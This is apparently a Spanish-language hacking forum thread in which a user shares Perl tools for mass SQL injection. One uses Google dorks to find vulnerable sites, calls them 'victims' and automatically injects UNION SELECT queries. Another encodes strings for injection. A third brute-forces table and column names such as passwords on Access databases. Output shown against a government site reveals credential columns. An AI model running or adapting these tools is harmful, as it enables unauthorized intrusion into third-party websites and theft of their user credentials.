y gente alguien lo probo?
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCitar+++++++++++++++++++++++++++++++++++++Fijense los parametros. el primero es el patron de busqueda inurl:noticias.php?id= site:com.ar
+ Bot MySQL Search Google 2.0 +
+ By MagnoBalt +
+++++++++++++++++++++++++++++++++++++
[?]Ingrese Patron de Busqueda (ej: inurl:.php?id_noticia=: >> inurl:noticias.php?id= site:com.ar
[?]Total de paginas de busquedas en Google: >> 10
[?]Nombre de archivo donde guardar todo: >>argetinas.txt
- Search:
#Bot MySql Search Google v 2.0
#Coded by Magnobalt
#contact Msn: magnobalt@gmail.com
#thanks www-Insecurity.cl && www.undersecurity.net
#!/usr/bin/perl
use LWP::Simple;
use LWP::UserAgent;
use HTTP::Request;
my $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); } #que sistema operativo es
print "\t\t+++++++++++++++++++++++++++++++++++++\n";
print "\t\t+ Bot MySQL Search Google 2.0 +\n";
print "\t\t+ By MagnoBalt +\n";
print "\t\t+++++++++++++++++++++++++++++++++++++\n\n";
print "[?]Ingrese Patron de Busqueda (ej: inurl:.php?id_noticia=: >> ";
$dork.=<STDIN>;
chomp($dork);
print "[?]Total de paginas de busquedas en Google: >> ";
$paginas.=<STDIN> ;
chomp($paginas);
print "[?]Nombre de archivo donde guardar todo: >>";
$archivo.=<STDIN>;
chomp($archivo);
open (AR,">>".$archivo) || die "No puede crear el archivo error: $!";
print "\n[+]Search:\n\n";
print AR "++++++++++++++++++++++++++++++++++++\n";
print AR "+ Bot MySQL Search Google V2.0 +\n";
print AR "+ By MagnoBalt +\n";
print AR "++++++++++++++++++++++++++++++++++++\n\n";
print AR "Patron De Busqueda en Google: $dork y paginas utilizadas: $paginas\n";
print AR "\n[+]Search:\n\n";
#-----------------------------------------------------------------------------------------------------
#Buscando en google vulnerabilidades
for($i = 0;$i <= $paginas*10;$i += 10)
{
$busqueda = "http://www.google.com/search?hl=en&q=".$dork."&btnG=Search&start=".$i;
$ua = LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
$ua->timeout(7);
#$ua->env_proxy;
$response = $ua->get($busqueda);
$source= $response->content;
while ($source =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {
$ban=0;
my $enlace = $1;
$testing=$enlace."\'";
$ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
$ua->timeout(10);
$response = $ua->get($testing);
$error=$response->content;
if($error=~ /mysql_fetch_/ || $error=~ /You have an error in your SQL syntax/ || $error =~ /tem um erro de sintaxe no seu SQL/ || $error =~ /mysql_num_rows/ || $error =~ /Division by zero in/) {
#-----------------------------------------------------------------------------------------------------
# Verifico si existe la url en entre las victimas para no redundar
foreach $exist(@victims){
my($url)=$exist=~m/(http:\/\/[\w+\.]+\/)/;
my($url2)=$enlace=~m/(http:\/\/[\w+\.]+\/)/;
if ($url eq $url2){
$ban=1;
}
}#cierre foreach
if ($ban == 0){
push(@victims,$enlace);
}
#-----------------------------------------------------------------------------------------------------
}
}
}#fin del for
if (@victims){ #verifico si no esta vacio el arrays
print "\n[+]Estas son las posibles victimas:\n";
for($i=0;$i<=$#victims;$i++){
print "[$i]$victims[$i]\n";
print AR "[$i]$victims[$i]\n";
}
}else {
print "[-]No se encontraron Victimas, realiza otra busqueda o verifica si Google no la bloqueo\n";
print AR "[-]No se encontraron Victimas, realiza otra busqueda o verifica si Google no la bloqueo\n";
exit(0);
}
#-----------------------------------------------------------------------------------------------------
# Empezando la automatizacion del bot
#-----------------------------------------------------------------------------------------------------
print"\n\n[+]Empezando la automatizacion del BOT\n";
print AR "\n\n[+]Empezando la automatizacion del BOT\n";
for($ii=0;$ii<=$#victims;$ii++){
$ban2=0;
$victima=$victims[$ii];
print "\n[+] Inyectando a: $victima\n";
$cfin ="--" ;
$cmn="+";
#$victims[$opc]=$victims[$opc]." *";# Coloco al final el Asterisco
$victima=~s/[a-zA-Z0-9_\*\s]+$//g;;#dejo en blanco el ultimo parametro ($) para poder inyectar, inclusive los valores * y espacion en blanco con \s
misma_victima:
if ($ban2 == 1) {
$cfin ="/*" ;
$cmn="/**/";
}
#-----------------------------------------------------------------------------------------------------
#busqueda de Columnas
$column=50;
for ($col=0; $col <=$column;$col++){
$union.=','."0x6d61676e6f62616c74";
$numero.=','.$col;
if ($col ==0){
$union='';
$numero='';
}
$out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0x6d61676e6f62616c74".$union.$cfin;
$ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
$ua->timeout(10);
$response = $ua->get($out);
$verifica=$response->content;
if ($verifica =~/magnobalt/) {
$col++;
print "\n[+]La web posee $col";
print "\n[+]".$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0".$numero.$cfin."\n\n";
print AR "[SITIO]\n";
print AR "$victima\n";
print AR "[+]La web posee $col\n";
print AR "[+]".$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0".$numero.$cfin."\n\n";
#-----------------------------------------------------------------------------------------------------
#buscando Information_schema
print AR "[Information_Schema]\n";
$out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0x6d61676e6f62616c74".$union.$cmn."FROM".$cmn."information_schema.tables".$cfin;#busco information schema.
$ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
$ua->timeout(10);
$response = $ua->get($out);
$verifica=$response->content;
if ($verifica =~/magnobalt/){
print AR "[+]Information Schema Disponible\n\n";
}else {
print AR "[-]Information_Schema no Disponible\n\n";
}
#-----------------------------------------------------------------------------------------------------
#buscando Mysql.users
print AR "[Mysql.users]\n";
$out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."0x6d61676e6f62616c74".$union.$cmn."FROM".$cmn."Mysql.users".$cfin;
$ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
$ua->timeout(10);
$response = $ua->get($out);
$verifica=$response->content;
if ($verifica =~/magnobalt/){
print AR "[+]Mysql.users Disponible\n\n";
}else {
print AR "[-]Mysql.users no Disponible\n\n";
}
#-----------------------------------------------------------------------------------------------------
#verficando si esta corriendo como root
print AR "[Usuario RooT]\n";
while($j < $col-1){
$root.=','."concat(0x6d61676e6f62616c74,user())";
$j++;
}
$out=$victima."-1".$cmn."UNION".$cmn."SELECT".$cmn."concat(0x6d61676e6f62616c74,user())".$root.$cfin;
$ua= LWP::UserAgent->new(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
$ua->timeout(10);
$response = $ua->get($out);
$verifica=$response->content;
if ($verifica=~/magnobaltroot@/){
print AR "[+]El usuario es root\n\n";
}else {
print AR "[-]El usuario no es root\n\n";
}
push(@victims_on,$victima);
$col=80;#fuerzo salida del for de columnas
}
}#cierre for de columnas
if ($ban2 == 0 && $col == 51){
$ban2=1;
goto misma_victima;
}
if ($cfin eq "/*" && $col == 51){
push(@victims_off,$victima);
}
}#cierre for principal
#------------------------------------------------------------------------------------------------------------
#imprimimos la que tuvieron exitos y las que no
print AR "[+]Paginas inyectadas exitosamente\n\n";
for($i=0;$i<=$#victims_on;$i++){
print AR "[$i]$victims_on[$i]\n";
}
print "\n\n";
print AR "\n[-]Estas paginas no se pudieron automatizar intentelas a mano :)\n\n";
for($i=0;$i<=$#victims_off;$i++){
print AR "[$i]$victims_off[$i]\n";
}
CitarDarioxhcx, ese paper es para inyecciones SQL, resulta que esta pagina usaba ACCESS.
#!/usr/bin/perl
sub decimal {
my (@arreglo2) = @_;
$i = 0;
foreach $letra(@arreglo2)
{
if ($i <= $#arreglo) {
@arreglo3[$i] = ord($letra);
$i++;
}
}
return @arreglo3;
}
print "====================================================\n";
print "Ingresa la cadena a pasar a Decimal\n";
print "dicha tiene q estar deletreada separada por coma\n";
print "ejemplo: u,s,u,a,r,i,o \n";
print "====================================================\n";
print ">>";
$cadena.=<STDIN>;
chomp($cadena);
print "Cadena = ";
print "$cadena\n\n";
@arreglo=split(",",$cadena);
print "Decimal:char(";
print join ",",&decimal(@arreglo);
print ")\n\n"
#!/usr/bin/perl
use IO::Socket;
$ban=0;
@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario','accesos',
'name','names','nombre','nombres','member','members','admin_table',
'miembro','miembros','membername','admins','administrator','sign',
'administrators','passwd','password','passwords','pass','Pass',
'tAdmin','tadmin','user_password','usuarios','user_passwords','user_name','user_names',
'member_password','mods','mod','moderators','moderator','user_email',
'user_emails','user_mail','user_mails','mail','emails','email','address',
'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
'sistema_usuario','sistema_password','contrase�a','auth','key','senha','signin',
'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','club_authors',
'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
'membros','utilizadores','staff','nuke_authors','accounts','account','accnts','signup',
'associated','accnt','customers','customer','membres','administrateur','utilisateur',
'tuser','tusers','utilisateurs','password','amministratore','god','God','authors','wp_users',
'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
@nombrecolumna=('emailAdmin',
'passAdmin','clave','admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author','user_login',
'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
'user_pwd','u_pass','clave','usuario','nom_usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username','senha','MEMBER','Clave_de_acceso','passwordAdmin','nameAdmin','loginAdmin','emailAdmin',
'passAdmin','IdAdmin' ,'nameAdmin' ,'emailAdmin','passswordAdmin');
sub socket{
my $inyec= shift;
$socket = new IO::Socket::INET(
PeerAddr => $host,
PeerPort => 'http(80)',
Proto => 'tcp') || die "[-] No se ha podido conectar a $host";
print $socket "GET " .$path.$inyec.$tabla. " HTTP/1.0\r\n";
print $socket "HOST:$host\r\n";
print $socket "\n\n";
if ($ban ==1){
print "------------------------$tabla---------------------------------------\n";}
return $socket;
}
if (!@ARGV[1]) {
print "======================================================= \n";
print " Injection AIS V 1.0 beta by MagnoBalt \n\n";
print " use perl $0 www.pagina.com.ar /noticia.php?id=\n\n";
print " AIS:Acces Injection SQL \n";
print "======================================================= \n";
exit(0);
}
$host =$ARGV[0];
$path=$ARGV[1];
print "\n[-]Buscando Tablas \n";
$iny="-1+UNION+SELECT+0+FROM+";
#print "antes de la funcion valor $iny\n";
foreach $tabla(@nombretabla) {
chomp($tabla);
#empuezo a guardar linea por linea el source en $response
$socket=&socket($iny);
while (<$socket>) {$response .= "$_ "}
if($response=~/The number of columns in the two selected tables or queries of a union query do not match/ || $response=~/ero de columnas de las dos tablas o consultas seleccionadas para una consulta de unión no coincide/)
{
print "[+]Tabla $tabla FOUND\n";
$tabla_aux=$tabla;
}
#print $response;
$response="";#limpio la variable
}#cierrre foreach
#buscamos numeros de columnas
print "[-]Buscando numeros de columnas\n";
print "[-]Ingrese Maximo con cual intentar \n";
$col.=<STDIN>;
chomp($col);
print "[-]Buscando..\n";
$columna=1;
while ($columna <= $col) {
$union.=','.$columna;
$iny="-1+UNION+SELECT+0".$union."+FROM+".$tabla_aux;
$socket=&socket($iny);
while (<$socket>) { $response .= "$_ "}
#print $response;
if ($response=~/The number of columns in the two selected tables or queries of a union query do not match/ || $response=~/ero de columnas de las dos tablas o consultas seleccionadas para una consulta de unión no coincide/)
{
print "[!] Fallo intento columna $columna\n";
}
else {
$col_aux=$columna;
$columna++;
print "[+]La Web Posee $columna columnas\n ";
print "$ARGV[0]$ARGV[1]$iny\n";
$columna = $col;#fuerzo la salida del while.
}
$response="";#limpio la variable
$columna++;
}
#Bruteando las columnas
print "[-]Bruteando las columnas\n";
print "[-]Ingrese Tabla a la cual brutear:\n";
$tabla_aux="";
$tabla_aux.=<STDIN>;
chomp($tabla_aux);
$i=1;
while($i <= ($col_aux-1)) {#obtengo columnas menos una
$cant.=','.$i;
$i++;
}
foreach $column(@nombrecolumna){
chomp($column);
$iny="-1+UNION+SELECT+0".$cant.",".$column."+FROM+".$tabla_aux;
$socket=&socket($iny);
while (<$socket>) { $response .= "$_ "}
if ($response=~/No value given for one or more required parameters/ || $response=~/80040e10/) {
}
else{
print "[+] Columna $column encontrada\n";
}
$response="";
}
close $socket;
exit(0);
Citar[-]Buscando Tablas
- Tabla accesos FOUND
[-]Buscando numeros de columnas
[-]Ingrese Maximo con cual intentar
15
[-]Buscando..
[!] Fallo intento columna 1
[!] Fallo intento columna 2
[!] Fallo intento columna 3
[!] Fallo intento columna 4- La Web Posee 6 columnas
www.xxxxxxxxxxxxx.gob/path/NoticiaVer.asp?id=-1+UNION+SELECT+0,1,2,3,4,5+FROM+accesos
[-]Bruteando las columnas
[-]Ingrese Tabla a la cual brutear:
accesos- Columna authorization encontrada
- Columna email encontrada
- Columna nombre encontrada
- Columna pwd encontrada
- Columna usuario encontrada
- Columna passwordAdmin encontrada